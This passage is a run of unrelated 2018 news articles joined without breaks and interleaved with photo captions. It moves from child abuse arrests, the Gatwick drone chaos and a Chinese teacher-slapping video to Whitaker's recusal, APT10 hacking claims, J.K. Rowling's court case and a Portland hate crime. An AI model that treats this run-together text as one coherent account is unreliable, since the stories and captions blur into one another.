had reenacted the sexual abuse of his victims with his girlfriend. He also frequently compared himself to Ted Bundy.' Heaps was previously arrested and charged with kidnapping, a second-degree felony, in 2007 after he sexually assaulted his ex-girlfriend and held her against her will. Court documents state Heaps frequently compared himself to Ted Bundy and would reenact the sexual abuse of his victims with his girlfriend Salt Lake City Police Department told ABC, Heaps admitted to 'sexually abusing many children who were under the care of his mothers daycare business.' Investigators said he also went on to name 'numerous children by name whom he had molested'. If convicted Heaps could face 25 years to life in prison, police said. Police are not sure if Heaps, who is currently in jail with bail set at $500,000, will be charged with any further offences. Lauren Kavanaugh, 25, was arrested this week and faces charges of sexually assaulting a 14-year-old girl A Texas woman known as 'Girl in the Closet' after she was rescued from the clutches of her abusive parents who tortured and raped her for years, has been charged with the sexual assault of a child. Lauren Kavanaugh made headlines when she was rescued from her family's mobile home in Texas in June 2001, where she was abused from the age of two to eight. Kavanaugh, now 25, faces charges of sexually assaulting a 14-year-old girl, authorities announced on Wednesday. Kavanaugh was arrested by Lewisville Police in Texas following a tip received on Monday. The teen told officers that she had been in a 'sexual relationship' with Kavanaugh for two months, according to Dallas News. The two met through a Facebook account called 'The Lauren Kavanaugh Story' where Kavanaugh offered support and friendship to victims of abuse, according to detectives. That page has since been taken down. Kavanaugh was dubbed the 'Girl in the Closet' after she was rescued in 2001 at the age of eight from her Texas mobile home where she lived in a filthy 4 by 8 ft closet and was horrifically abused and starved by her parents. Kavanaugh pictured left in 2017 and at high school graduation right Kavanaugh admitted to detectives that she had a 'sexual relationship' with the teen and was then arrested. The two allegedly got into a relationship and the victim's parents said that Kavanaugh was living with them, according to NBC. She's being held in Denton County Jail with bail set at $10,000. Police suspect that there may be other victims and are urging parents to speak with their children to see if they've had any inappropriate contact with Kavanaugh. When she was rescued from the Dallas, Texas, home in 2001 she was eight and weighed just 25.6 pounds, the same as the average two-year-old, and was potbellied with malnutrition She was starved, tortured, and raped in a 4 by 8 feet closet (above) by her mother and stepfather who are now serving life in prison sentences Lauren's mother Barbara Atkinson and stepfather Kenny Atkinson were convicted of felony injury to a child in 2002 and jailed for life, not eligible for parole until 2031 Kavanaugh suffered horrific abuse as a child where she lived in a 4 by 8 feet closet in her family's mobile home in Hutchins and was starved, raped, and tortured by her mother Barbara Atkinson and stepfather Kenneth Atkinson. A neighbor tipped off authorities to the abuse and Kavanaugh was rescued in 2001. She weighed just 25.6 pounds when she was found. A doctor later testified the little girl had been sexually abused so badly that she needed surgery, according to People Magazine. The abusive parents are serving life sentences for felony injury to a child and will be eligible for parole in 2031. Police in Hartford County, Maryland, issued a warrant for the arrest of 46-year-old Gary Martin Smith (above) on Wednesday after a tipster identified his five-year-old daughter as the girl seen in CCTV video stealing a package from a home in Bel Air last month Maryland police are hunting for a man whose five-year-old daughter was caught on camera brazenly stealing a package from a home last month. Gary Martin Smith, 46, is facing charges of theft under $100, conspiracy to commit theft, contributing to the delinquency of a minor and fourth-degree burglary after police say he instructed the young girl to snatch the box off the porch at a home in Bel Air on November 30. The Harford County Sheriff's Office issued a warrant for Smith's arrest and shared his photo on social media Wednesday after his daughter was identified by an anonymous tipster. He has been charged but has not yet been apprehended as of Thursday morning. Home CCTV footage released by police earlier this month captured the girl sprinting across the lawn toward the front door of the home around 4pm At one point she pauses and appears to motion to someone on the street before approaching the front door, carefully bending down to pick up the box and running back across the grass to the street. Home CCTV footage captured a girl identified as Smith's five-year-old daughter sprinting across a lawn toward the front door of a Bel Air home on the afternoon of November 30 Vallan Hardison had ordered the pair of boots to her home and told WJZ she was shocked after watching the footage. She said: 'People steal, but to see someone that small doing something like that is just unbelievable.' Hartford County Sherriff's Office said: 'We always warn you about package Grinches this time of year, but its hard to believe that a Grinch decided to use Cindy Lou Who this year to steal packages! 'Watch as this young girl, no older than eight, runs into a yard, looks back to get directions, then steals a package from a porch! Who uses a child in this manner?! 'Please be aware of your surroundings, look for suspicious activity in your neighborhood, and have packages delivered to a safe and secure location if you can! Remember, if you see something suspicious, call us.' Hundreds of people have commented on the video which has been viewed more than 35,000 times and was shared on Facebook. One person wrote: 'So sad now having children doing this. The parents should be ashamed of themselves.' Another said it was 'the saddest thing I have ever seen' and another asked 'what is this world coming to?' She slows down as she walks to the door and grabs the box, which had a pair of boots inside The military are moving in on the drones disrupting Gatwick Airport but an army of Twitter users have already been out in force. And in typical fashion, the stance taken on social media has been to make fun of the whole situation causing pre-Christmas chaos through memes. They feature the likes of John McClean from Die Hard - in a throwback to the second film in the movie series set at Washington Dulles Airport - to Hot Fuzz, Whacky Races and of course the odd reference to Brexit. The main theme of the memes criticising the lengthy response since the first drone was spotted over the airfield in West Sussex at around 9pm on Wednesday. One user, @MaidyLairy joked they could have made a slingshot and taken the drone down in the 19 hours since. Meanwhile, talkRADIO breakfast show host Julia Hartley-Brewer offered her services posting a picture of her firing a shotgun. The chaos has grounded 760 flights and affected more than 110,000 people. One user jokes they could have built a slingshot and brought the drone down at Gatwick Airport causing travel chaos In a throwback to the second film in the Die Hard series - which was set at Washington Dulles Airport - Claire Watson called for John McClane to help out The chaos has grounded 760 flights and affected more than 110,000 people in the pre-Christmas travel rush The main theme of the memes criticising the lengthy response and the police response since the first drone was spotted (pictured is a scene from Hot Fuzz) This meme featuring a scene from The Simpsons also makes fun of the police response since the drone was spotted on Wednesday night The military are moving in on the drones disrupting Gatwick Airport but an army of Twitter users have already been out in force The was the inevitable reference to the comparable chaos to the whole Brexit scenario engulfing British politics The lighter side of the chaos and the response is echoed in this reference to Frau Farbissina (played by Mindy Sterling) in the Austin Powers films Passengers have been stranded at Gatwick Airport since 9pm on Wednesday night with people told to stay away on Thursday Officers are in a cat-and-mouse game with the rogue pilot who has not yet been found to bring down the drone One user joked the disruption was being caused by Father Christmas but officials have warned the travel disruption could last into the weekend The knock-on delays are due to affect the busiest days over the Christmas period because of the number of planes diverted or grounded in West Sussex The Ministry of Defence has confirmed the Army could send expert spotters and soldiers trained to use a laser 'kill-jammer' which can bring down the aircraft from two miles away The shutdown brought calls for the use of anti-drone technology at British airports including frequency jammers and early warning systems now common near US runways Other users joked it was their first day operating the drone and had not yet figured out how to control their aircraft Sussex Police have officially requested assistance from the army after having a team of snipers based outside the airport People have been forced to sleep on the floor using their suitcases as makeshift pillows during the 20-hour stand-off Passengers were diverted to Liverpool, Birmingham or even Bordeaux when air traffic controllers shut down the aerodrome Police continue manhunt for drone pilot who has been flying over the airport since 9pm on Wednesday night - as a passenger stuck in Amsterdam tried to make light of the situation Gatwick's chief operating officer, Chris Woodroofe, confirmed a recent drone sighting and said disruption would continue for several days but even PM Theresa May didn't escape criticism talkRADIO breakfast show host Julia Hartley-Brewer offered her services (pictured above) posting a picture of her firing a shotgun Extra airport staff have been drafted in to hand out food and drink for those stranded at the airport's two terminals Gatwick bosses admitted at 2pm on Thursday they had no idea when the airport would finally reopen Video of a man repeatedly slapping one of his former school teachers in broad daylight has sparked controversy in China. The 32-year-old attacker, identified by police as Chang, claimed he was bullied by the educator 20 years ago at a middle school in central China. He said he became enraged after bumping into the teacher, 50, and decided to stop him on a street in the county of Luanchuan in Henan province. Chang has been detained by police. Chang (standing) confronts his former teacher Zhang (on the scooter) after bumping into him on a street in central China. Chang claimed that the teacher regularly bullied him in the past The clip is said to be filmed in June. In the video, Chang appears furious and slaps the teacher, who is on a scooter, multiple times in the face while asking him 'do you remember me' and 'do you remember how you beat me in the past'. At one point, the middle-aged teacher, identified by police as Zhang, apologises to Chang. The video is said to be shot by one of Chang's friends who was walking with him. It has became viral on China's social media platforms since it emerged on Sunday. Chang claimed he did not know how the video had ended up online. Chang, 32, slaps the teacher, 50, in the face multiple times while asking 'do you remember me' and 'do you remember how you beat me in the past'. He said the teacher often abused him In an article on a Chinese forum, Chang said that he respected all teachers except for Zhang because he had abused him in the past. He said Zhang was his class teacher in the eighth grade. He described how the teacher had regularly forced him to squat in front of his classmates before kicking him a dozen time on the head. He also said the teacher had looked down upon him because the teacher thought his family was poor. Chang wrote of his teacher: 'You planted the seed of hatred in my heart. Because what you did was outrageous, so outrageous that I can't forget 20 years later.' Chang said he had been haunted by the images of being punished by Zhang throughout the years. He also said his desire for seeking revenge grew stronger and stronger over the years, especially after her daughter was born. The incident caught on a trending video has split opinions among web users in China where classroom violence carried out by the teachers on the pupils is not uncommon (file photo) The video has apparently split opinions on the Chinese internet. While some people criticised Chang's violent behaviour, others sided with him and said the teacher deserved to be punished for bullying his pupil. Chang's former classmates have reportedly voiced support for Chang as they revealed how they were penalised by the teacher as well. Police launched an investigation into the case after receiving a report from the teacher who said he had been hit by other people. According to an online statement released by the Luanchuan County Public Security Bureau, Zhang contacted the police on Monday after the video appeared online. Chang was apprehended today by the policemen in a train station in Hangzhou. Further investigation is under way. Acting Attorney General Matthew Whitaker chose not to recuse himself from the Russia investigation even though a top Justice Department ethics official advised him to step aside out of an 'abundance of caution,' a senior official said Thursday. Whitaker's past criticism of the Russia investigation has raised questions about whether he can oversee it fairly. The ethics official said this week that a recusal was 'a close call,' but suggested that Whitaker remove himself, even though he was not required to do so. Whitaker decided not to take the advice. The details of Whitaker's decision to maintain oversight of the Russia investigation were provided by a Justice Department official who briefed reporters on condition that he not be identified. The details show that although Whitaker was not required to step aside, the issue had raised questions about the appearance of a possible conflict of interest. YOU MAY BE RECUSED: Acting Attorney General Matthew Whitaker, framed by a photograph of lower Manhattan, was told by an ethics official to recuse himself in a 'close call,' but isn't doing it Members of Congress have expressed concerns about Whitaker's past criticism of special counsel Robert Mueller's investigation. The probe is looking at Russian interference in the 2016 election and ties to President Donald Trump's campaign. The investigation had been overseen by Deputy Attorney General Rod Rosenstein until Trump ousted Jeff Sessions as attorney general last month and appointed Whitaker. The senior official said Rosenstein continues to have day-to-day oversight of the probe. The official said that after Whitaker was appointed, he formed a group of four Justice Department officials - led by a veteran U.S. attorney - to advise him on the transition and ethics process. That small group of officials met repeatedly with the Justice Department's career ethics officials. Former attorney general Jeff Sessions recused himself from the Russia probe, and endured the wrath of President Trump Sessions was among numerous Trump campaign associates who had met Russian ambassador Sergey Kislyak during the presidential campaign Whitaker met with the ethics officials three times in the last six weeks, the senior official said. During one of those meetings the officials asked Whitaker about the comments he made as a legal commentator for CNN about his views of the Mueller investigation. The remarks were made before he joined the Justice Department. Whitaker had once opined about a scenario in which Trump could fire Sessions and then appoint an acting attorney general who could stifle the funding of Mueller's probe. His other past public statements have included an op-ed article in which he said Mueller would be straying outside his mandate if he investigated Trump's family finances. In a talk radio interview, Whitaker maintained there was no evidence of collusion between Russia and the Trump campaign during the 2016 election. William Barr Whitaker was not required to solicit a recommendation from ethics officials and it was at Whitaker's discretion whether he should recuse, the senior official said. Ethics officials had also told Whitaker's advisers that they had no precedent of another attorney general recusing themselves because of a perceived conflict. Since taking office, Whitaker has not been briefed on specific developments of the special counsel's investigation and Rosenstein will continue to maintain day-to-day oversight for the foreseeable future, the official added. However, the official said Whitaker can be briefed as the investigation moves forward, though there isn't a set timetable yet on when that might begin. Rep. Jerrold Nadler, D-N.Y., who will take over as chairman of the House Judiciary Committee in January, said it was 'unacceptable' that Whitaker didn't inform members of Congress about his decision not to recuse himself and vowed to question Whitaker before the committee. 'More concerning, at the moment, is the fact that career DOJ ethics officials appear to have had serious concerns about Mr. Whitaker's ability and fitness to oversee the Special Counsel's investigation,' Nadler said in a statement. The Justice Department is planning to send a letter to Senate Minority Leader Chuck Schumer about Whitaker's recusal decision and the ethics process later Thursday. The question of whether an attorney general can or should recuse from a particular criminal investigation has long been politically fraught, and decisions in both directions have had far-reaching ramifications. In 2016, for instance, then-Attorney General Loretta Lynch opted not to recuse herself from the Clinton email investigation despite an impromptu chat with former President Bill Clinton at an airport tarmac in Phoenix. Lynch opted instead to accept the FBI's recommendation on whether or not to bring charges. Former FBI Director James Comey has acknowledged being frustrated by that decision, and went ahead days later with a controversial news conference at which he announced the FBI's recommendation against charges. Sessions recused himself from the Russia investigation just days into his job as attorney general. He said it was because of his work as a campaign surrogate for Trump, but the announcement followed explosive revelations of multiple encounters with the Russian ambassador over the last year. Trump never forgave him and ultimately forced him from the job a year and a half later. Europe faces a second wave of terror attacks when ISIS supporters serving short sentences are released from jail, the boss of Interpol has warned. Jurgen Stock said ISIS 2.0 could plague the continent when an 'early generation' of supporters is released. Because ISIS has no territory left in the Middle East, supporters will either head to Africa or stay in Europe to commit terror attacks, he said. Europe faces a second wave of terror attacks when ISIS supporters serving short sentences are released from jail, the boss of Interpol has warned. Pictured: An ISIS soldier in Syria in 2014 Stock told the Press Association in Paris: 'We could soon be facing a second wave of other Islamic State linked or radicalised individuals that you might call Isis 2.0. 'A lot of these are suspected terrorists or those who are linked to terrorist groups as supporters who are facing maybe two to five years in jail. 'Because they were not convicted of a concrete terrorist attack but only support for terrorist activities, their sentences are perhaps not so heavy. 'In many parts of the world, in Europe but also Asia, this generation of early supporters will be released in the next couple of years, and they may again be part of a terrorist group or those supporting terrorist activities. Stock, a German criminologist, said that Interpol has a database of about 45,000 suspected foreign jihadists, many of which are very hard to track down. 'The so-called returnees are still a concern for many member countries,' he said. 'Many of those who left, for instance from Europe or Asia, have not yet returned. Some of them have been killed on the battlefield but some of them are missing.' Maren Ueland (right), 28, from Norway, and Louisa Vesterager Jespersen (left), 24, from Denmark, were found dead in Morocco's High Atlas mountains on Monday He warned: 'The security agencies are concerned about when they are coming back because most of them are battle hardened, they are trained and they are internationally connected.' Stock became the boss of the International Criminal Police Organization which has 194 members in 2014. Stock's comments came after ISIS terrorists in Morocco filmed themselves decapitating a Scandinavian woman. Maren Ueland, 28, from Norway, and Louisa Vesterager Jespersen, 24, from Denmark, were found dead near the village of Imlil in Morocco's High Atlas mountains on Monday. A video showing the murder of one of the women has been recognised as genuine, Danish intelligence service said today, adding that the killings can be connected to ISIS. Men in the gruesome clip can be heard shouting 'it's Allah's will' while there are claims that the words 'this is for Syria' were used, in an apparent reference to Western bombing missions in the war-torn country. Britain today sensationally blamed China for a campaign of global cyber attacks aimed at stealing business secrets from the UK and allied countries. Foreign Secretary Jeremy Hunt blamed Beijing for the 'one of the most significant' cyber attacks ever made against the UK and its allies. The 'sustained' campaign has tried to steal secrets from global companies based in Europe, Asia and the United States. British spies have assessed 'with the highest level of probability' that China is to blame for the hacking of corporate giants - warning the attempts to breach security are 'almost certainly' continuing. Mr Hunt demanded the Chinese offensive action 'stop', warning they breach international agreements made at the G20. A group called APT10 that is linked to the China's Ministry of State Security is responsible for the attacks, Mr Hunt said. The startling claims come despite a desperate attempt by British ministers to establish a 'diamond era' in UK-China relations. Foreign Secretary Jeremy Hunt (left with the PM today) blamed Beijing for the 'one of the most significant' cyber attacks ever made against the UK Mr Hunt said: 'This campaign is one of the most significant and widespread cyber intrusions against the UK and allies uncovered to date, targeting trade secrets and economies around the world. 'These activities must stop. They go against the commitments made to the UK in 2015, and, as part of the G20, not to conduct or support cyber-enabled theft of intellectual property or trade secrets. 'Our message to governments prepared to enable these activities is clear: together with our allies, we will expose your actions and take other necessary steps to ensure the rule of law is upheld.' The Prime Minister's official spokesman said: 'Why we are acting now despite our requests and having plenty of time to conduct an investigation, the Chines government has consistently failed to engage meaningfully on the concerns which have been raised. 'We hope to see a change in behaviour from the Chinese government. We want China to ensure that all parts of the Chinese state are committed to the agreements China has mad to us on not engaging in cyber enabled intellectual property theft.' Asked if the so-called diamond era of UK China relations still exists, he added: 'We enjoy a strong and constructive relationship with China and that is one that allows us to robustly address areas where we have difficulties and this would be one example.' In America, US prosecutors unsealed an indictment today that charges two Chinese nationals with computer hacking attacks. They targeted a broad range of US government agencies and corporations, including the Navy and the space agency NASA, according to a court filing. The two, identified as Zhu Hua and Zhang Jianguo, worked in China to hack into computers to steal intellectual property and confidential business and technological data, according to an indictment. The American authorities said the two worked in association with the Chinese Ministry of State Security. Hacking targets included companies involved aviation, space and satellite technology, the indictment said. Court papers filed in Manhattan federal court allege the hackers were able to breach the computers of more than 45 entities in 12 states. Britain has courted China in recent years, bringing President Xi Jinping (pictured with Theresa May in February) to London for a state visit and scrambling to secure Chinese investment in major projects including nuclear power The Foreign Office said Britain's National Cyber Security Centre had established with the 'highest level of probability' that APT10 was behind the 'sustained cyber campaign'. It targeted a range of global companies and sought to steal intellectual property and commercial secrets from Europe, Asia and the US. The attacks are still underway and fall foul of agreements made at the G20 that no country should support cyber attacks to steal trade secrets. It also breaks a bilateral agreement between Britain and China. Britain has courted China in recent years, bringing President Xi Jinping to London for a state visit and scrambling to secure Chinese investment in major projects including nuclear power. Florida deputies detained two women who allegedly used a drone to illegally deliver cell phones and tobacco to an inmate at a state facility on Sunday. Concetta Didiano, 22, and her 40-year-old mother, Cassandra Kerr, were hit with a slew of charges including Introduction of Contraband into a Correctional Facility. At around 2am, the Martin County Sheriff's Office received a call stating that a drone was hovering over the Martin Correctional Institution. It was also said that the drone was possibly delivering a package on the rood of the housing facility, WPTV reports. Concetta Didiano, 22, and 40-year-old mother, Cassandra Kerr, were hit with charges including Introduction of Contraband into a Correctional Facility At the same time as the call, corrections officers reported seeing a black pickup truck that was rolling in front of the center on Allapattah Road. Deputies were able to catch up to the vehicle where they found Didiano driving her mother, according to the Tampa Bay Times. Kerr had initially claimed that the pair drove 200 miles from their Tampa home so that she could teach her daughter how to drive a truck. At around 2am on Sunday, the Martin County Sheriff's Office received a call stating that a drone was hovering over the Martin Correctional Institution Kerr shared that she had bought the drone off eBay and was using it to deliver phones and tobacco But when officers found another vehicle had crashed into a drone carrying supplies, Kerr switched up her story. 'I did it,' she stated. 'The remote and iPad are in the backseat.' Kerr shared that she had bought the drone off eBay and was using it to deliver phones and tobacco. She admitted to piloting the drone from the rear seat of the vehicle while her daughter drove She admitted to piloting the drone from the rear seat of the vehicle while her daughter drove. Didiano eventually confirmed the story, according to deputies at the scene. Kerr was also hit with additional charges for operating a drone inside a correctional institute. According to former convicts, $20 cell phones can go for up to $400 while behind bars. Amanda Donaldson is pictured arriving at Airdrie Sheriff Court this morning A former personal assistant to JK Rowling has claimed she felt 'threatened' after the writer's husband demanded she pay 20,000 or face legal action. Amanda Donaldson, 35, said Dr Neil Murray emailed her asking if she would pay the money to end a dispute over claims she spent thousands of pounds on luxury items. Donaldson, of Coatbridge in Lanarkshire, worked for the Harry Potter author as a PA between February 2014 and April 2017 before she was sacked for gross misconduct. The 53-year-old is using her married name Joanne Murray in the civil action at Airdrie Sheriff Court. Rowling claims Donaldson wrongly benefited to a value of 23,696.32 by spending on a company card and taking Harry Potter merchandise. But Donaldson has denied the claims and said Rowling has 'not suffered any loss and is not entitled to damages' from her. Questioned by Rowling's lawyer, Kirsteen MacDonald, Donaldson told the court Dr Murray emailed after she had been suspended with an offer to make compensation. Donaldson said: 'The email and the letter followed various communications and it was my perception that it was in a threatening manner. 'It did say pay the 20,000 and then you wouldn't be coming to court.' The court earlier heard claims Donaldson had offered to settle the case but only if Rowling signed a confidentiality agreement. Donaldson has previously told the court she formerly worked for a top secret department of the Royal Navy before applying for a post as a PA she found online. She has said she did not know Rowling was the employer when she applied for the post, and was five months pregnant when she was suspended. She also claimed her partner, a Harry Potter fan, had left her over the allegations. Kirsteen MacDonald, representing Rowling, asked her: 'You said in evidence that Mr Murray emailed you to say that if you gave them 20,000 then this would go away? 'If that is true why is that email not in court? Is the truth not that you offered 15,000 to settle this but only if Mrs Murray signed a confidentiality clause?' Donaldson (left) said Dr Neil Murray (shown outside court today, right) emailed her asking if she would pay the money to end a dispute over claims she spent thousands of pounds Donaldson, a mother-of-two, said she could not explain the lack of emails but insisted she did have it. Ms Rowling's lawyer Kirsteen MacDonald queried transactions made by the former PA at gift shop Paper Tiger totalling more than 2,000. Referring to one receipt showing the purchase of five chocolate bars and a Harris Tweed purse, Ms Donaldson told the court they were bought as a gift for a contact to 'maintain Mrs Murray's business relationship'. Ms MacDonald said: 'That is a strange combination [of purchases]. It is ridiculous to suggest that's what you would send to a business contact of Mrs Murray. 'Is it not the case here that you have again been caught out and this purchase was for you?' Rowling (pictured) claims Donaldson wrongly benefited to a value of 23,696.32 by spending on a company card The witness said: 'Absolutely not.' The court later heard Donaldson insist she paid a 400 deposit for a staff Christmas party at the Michelin-starred Castle Terrace restaurant in Edinburgh where Rowling and her husband were regular visitors. She said the cash was paid for the event in December 2016 and denied allegations she had kept the money for herself. Under questioning, from Rowling's lawyer, Kirsteen MacDonald, Donaldson accused the restaurant manager of lying in an email to Dr Murray about the deposit after he had queried it. She said: 'The 400 was handed over with the crackers to a member of staff but I didn't take their name. I didn't get a receipt. 'I thought it would be on the final receipt and it would be there but I didn't question it until after the Christmas party because I hadn't noticed. 'I wouldn't hand over 400 of my own money without asking for a receipt. 'I had no reason to put this much effort and thought into this until it was not on the receipt.' Asked if the restaurant manager had lied, Donaldson answered: 'I know what my actions were, so yes.' The former PA was also asked about the purchase of Halloween cards from Paper Tiger as well as chocolate letters spelling I, L and Y. 'JK Rowling was left with no option': Statement issued on behalf of the author 'J.K. Rowling is taking legal action against her former personal assistant, Amanda Donaldson, following her dismissal for gross misconduct involving a substantial breach of trust. 'Ms Donaldson's dismissal last year related to alleged abuses of her expense account and misplacement of items amounting to a significant value. 'Before raising the court action, Ms Rowling and her husband gave Ms Donaldson every opportunity to explain the discrepancies in her credit card spending and the missing items and cash, but Ms Donaldson chose to deny any wrongdoing and instead to blame other members of Ms Rowling's staff. 'During her evidence Ms Rowling explained to the court that she was left with no option but to raise the court action, in order to protect the reputation of her existing staff, and to ensure Ms Donaldson is not in the position to breach the trust of another employer. 'As this is now a matter for the sheriff to determine, it is not appropriate to comment further at this time.' Advertisement Ms Donaldson said they were bought for an ill child on behalf of Ms Rowling. Ms MacDonald said: 'I put it to you the letters stand for 'I love you' and were bought for you to give someone you were in a relationship with, or for your own child.' Ms Donaldson denied the claim and said: 'I recall the purchase as a whole but I don't recall the particular letters.' Another receipt from Marks & Spencer was also shown to the witness which included the purchase of a tin of shortbread. Ms Donaldson said they were bought as a gift for staff at the Savoy Hotel in London when Ms Rowling had stayed. The author's lawyer asked if it was an appropriate gift for an upmarket hotel. Ms Donaldson said: 'They really appreciated it.' Previously giving evidence in her defence, Ms Donaldson said she was never given specific instructions for the use of the company credit card and that her boss was often unapproachable and not to be disturbed while writing. Ms Rowling has said she 'does not accept' the claims made in court by her former personal assistant and took the unusual step of issuing a statement during the case. Rowling alleged Donaldson spent 823 at Bibi Bakery, 1,482 with Jo Malone, 264 in Boots, 115 in Costa Coffee and 3,629 in cosmetic firm Molton Brown. She is seeking damages for further claims she spent 117 in M&S Simply Food, 2,139 in card shop Paper Tiger, 1,636 in Starbucks and 235 in book store Waterstones. Rowling also claims Donaldson stole Harry Potter merchandise worth more than 3,200. It is further claimed Donaldson bought two cats worth 1,200 and also removed 7,742 of foreign money from a safe. The civil case before Sheriff Derek O'Carroll continues in January. A Portland man has been arrested after yelling the word n****r at two African American boys and threatening them with a butcher knife. Michael T. Amatullo, a 60-year-old veteran, faces hate crimes charges after racially abusing a boy, eight, and his brother, 14, who live beside him. Amatullo raised a butcher knife at the boys as he stood 6 to 7 feet away, prompting them to run and hide under a nearby stairwell at their apartment complex, according to a probable cause affidavit seen by OregonLive. The boys then called 911 from their hiding place Tuesday, police said. Michael T. Amatullo (above) faces hate crimes charges after racially abusing a boy, eight, and his brother, 14, who live beside him According to the affidavit, the eight-year-old was taking out the trash when Amatullo began screaming that the youngster was staring at him. Amatullo then directed the racial slur at him, authorities say. The 14-year-old brother intervened and Amatullo called him a name again. The teen yelled back and Amatullo said he would beat him up if he continued. Amatullo then threatened the brothers with the knife, the affidavit states. A police officer arrived at the scene and arrested Amatullo. The officer asked Amatullo if he had racist thoughts and Amatullo responded with a racist tirade, according to the affidavit. Amatullo told police that he had a confrontation with the boys and that he had grabbed the knife because the 14-year-old had threatened him. Speaking after his court appearance, Amatullo told OregonLive that he was involved in an ongoing disagreement with the family and that the older boy had directed a racial slur at him. He said he didn't entend to run at the boys with the knife. However he claimed he was willing to use it if they entered his apartment. A general view of the apartment block (far left) where Amatullo lives in Southeast Portland 'Im going to defend myself ... even if it means stabbing someone to death', Amatullo said. 'You can defend yourself in your home'. 'Whatever is going to happen is going to happen. The DA is going to do what hes going to do'. He was arraigned on two counts of misdemeanor menacing and two counts of second-degree intimidation, which is a hate crime. He pleaded not guilty during a hearing Wednesday in Multnomah County Circuit Court. OregonLive reported that lives off Social Security disability, was honorably discharged from the military. He was diagnosed with depression and post-traumatic stress disorder. Justin McConney, the man who taught Donald Trump how to tweet, described the sinking feeling in his stomach he felt when he realized his boss was tweeting on his own. 'The moment I found out Trump could tweet himself was comparable to the moment in 'Jurassic Park' when Dr. Grant realized that velociraptors could open doors,' McConney told Politico. 'I was like, 'Oh no.'' Twitter has become Trump's favorite form of communication. He uses it to announce hirings and firings in his White House. He posts policy changes. And he uses the social media platform to rail against his perceived political enemies: 'Crooked' Hillary Clinton, the 'Witch Hunt!' special counsel Robert Mueller is conducting with his Russia investigation, and even members of his own Cabinet and party - often ending his rants with an explanation point. Justin McConney, the man who taught Donald Trump how to tweet, seen with Trump and Kayne West McConney - seen here with Trump and Jimmy Fallon managed social media for The Trump Organization Just like this moment: Trump's former social media manager compared his discovery of how to tweet to when the velociraptors learned how to open doors in Jurassic Park This week, starting Sunday, Trump wrote 43 original tweets on his @RealDonaldTrump account, whose following has grown to 56.4 million followers. His tweets typically garner retweets in the five figures. McConney, who was the Trump Organization's director of social media from 2011 to 2017, shared with Politico his perspective of Trump's online journey. McConney recalled the day - Feb. 5, 2013, - that he saw a tweet posted on @RealDonaldTrump which thanked actress Sherri Shepherd for comments she made about the business mogel during an appearance on ABC's 'The View.' He knew he had not posted the tweet. He queried other members of the social media team and they hadn't posted it either - and that was the moment he realized Trump had figured out Twitter on his own. McConney oversaw the account's evolution - from its quiet beginnings when it was established in 2009 to Trump's take over in 2012. McConney, who was 24 when he took the job, had to work out of the Trump Organization's cafeteria, as the company didn't know what to do with him or where to put him. He had to preach the virtues of social media to the Trump family and push to get the business titan to appreciate its value. Trump, McConney recalled to Politico, was initially skeptical of social media. The business tycoon got his start in the New York tabloids and on network television. That was the area where his comfort lied. But when McConney showed Trump how social media could translate into traditional media coverage, the businessman was intrigued. The moment that really sold Trump on the power of the internet was his lunch with former Alaska Gov. Sarah Palin in 2011. Photos and footage from Trump's 2011 pizza lunch went viral, convincing him of the power of social media - all because of an internet eruption over him using a fork Trump posted a video online explaining his eating technique and several traditional news outlets ran his explanation, much to his delight The two ate pizza together in Manhattan but most of the media coverage centered on the fact Trump ate his slice with a knife and fork. McConney convinced Trump to record an explanation of his eating technique for a blog post. Trump told the camera: 'This way you can take the top of the pizza off so you're not just eating the crust. I like to not eat the crust so we can keep the weight down.' His explanation was quoted by several news outlets, much to his delight. 'That's when he was sold on the concept of social media,' McConney told Politico. It was the instant gratification and control that appealed to Trump. And, from there, the account's postings grew. In 2010, before McConney started with Trump, the account had tweeted only 142 times. In 2011, 744 tweets were posted. Initially, Trump stayed true to his old-school roots. He had McConney print out his Twitter mentions and he would hand-write responses for the aide to post online. He would also have McConney print out photos of himself to approve the ones posted to @RealDonaldTrump. 'He was very old school back then,' McConney told the news website. 'He was not someone who really used computers or went on the internet very much.' But, he added, Trump 'knew PR and he knew news cycles very well.' Trump increased his Twitter pace - posting up to 10 times a day. Trump's twitter account has grown to 56.4 million followers He would call McConney 24/7 to dictate everything from the wording to the placement of dashes and exclamation points. At first the calls came from Melania Trump, who had saved McConney's number in her phone, hit dial and would hand it to her husband. She would also weigh in on Trump's ideas for tweets, speaking in the background as her husband was on the phone with McConney. In November 2012, on a flight to Florida, Trump asked McConney if he preferred iPhones or Androids. McConney said iPhone but Trump replied: 'The screens are much bigger on the Android.' He soon had his own mobile phone and, in February 2013, began to tweet for himself. The implosion had begun. In 2013, Trump tweeted more than 8,000 times. As for McConney, he continued to advise Trump on social media strategy and did some work on the presidential campaign. But he was marginalized by Trump's first campaign manager, Corey Lewandowski, who favored Dan Scavino, now the White House director of social media, sources told Politico. McConney now works as a freelance consultant. The service dog of late former president George H.W. Bush will rest at home in New York for the holidays, enjoying an extended break until next year. Sully the Labrador retriever arrived back in his native Long Island Wednesday, where he was born and trained by America's VetDogs, and showed off a new badge with the Seal of the President of the United States during a special ceremony. An Instagram account sharing Sully's best moments captioned an image of the new look on his coat: 'Proud to wear this patch in memory of my best friend.' In February 2019 Sully will get back to work with US Military veterans near Washington DC at the Walter Reed Medical Center in Bethesda, Maryland. Scroll down for videos Sully the dog showed off a new badge with the Seal of the President of the United States during a special ceremony on Wednesday on Long Island, New York The Labrador retriever is to spend time in his native city where he trained by America's VetDogs before heading off again early next year Bush's furry friend will be joined by a black Labrador named Marine Sgt. Dillon and a chocolate English Labrador named Army Sgt. Truman. His trainer acknowledged all the hard work the pooch had carried out during the special homecoming this week. 'Sully had the right personality and temperament for the important job,' trainer, Valerie Cramer said at a news conference. 'He is loyal, calm, kind with children - exactly what the president's team asked for. 'In addition, he's a willing worker, he's smart, and he's adaptable to all environments.' He was sent to assist former president George H.W. Bush who lived with Parkinson's disease - in June The service dog of the late former president will rest at home in New York for the holidays Sully melted hearts when he was pictured laying beside the coffin of Bush ahead of his funeral He was sent to assist Bush who lived with Parkinson's disease - in June. But the former American leader expressed his wish for Sully to continue helping veterans when he was gone. 'From the first minute when the president said, "Welcome home", I knew it was an absolutely perfect match,' Cramer added. Bush passed away aged 94 on November 30 and Sully was pictured lying next to his flag-covered casket as he said goodbye at a memorial. The former American leader expressed his wish for Sully to continue helping veterans Trainer Valerie Cramer said he's a 'willing worker',' smart', and 'adaptable to all environments' Cramer said she immediately knew Sully and Bush were 'an absolutely perfect match' The two-and-a-half-year-old was named after the hero pilot Chesley B. 'Sully' Sullenberger III who safely landed a plane of 115 people on the Hudson River in 2009. 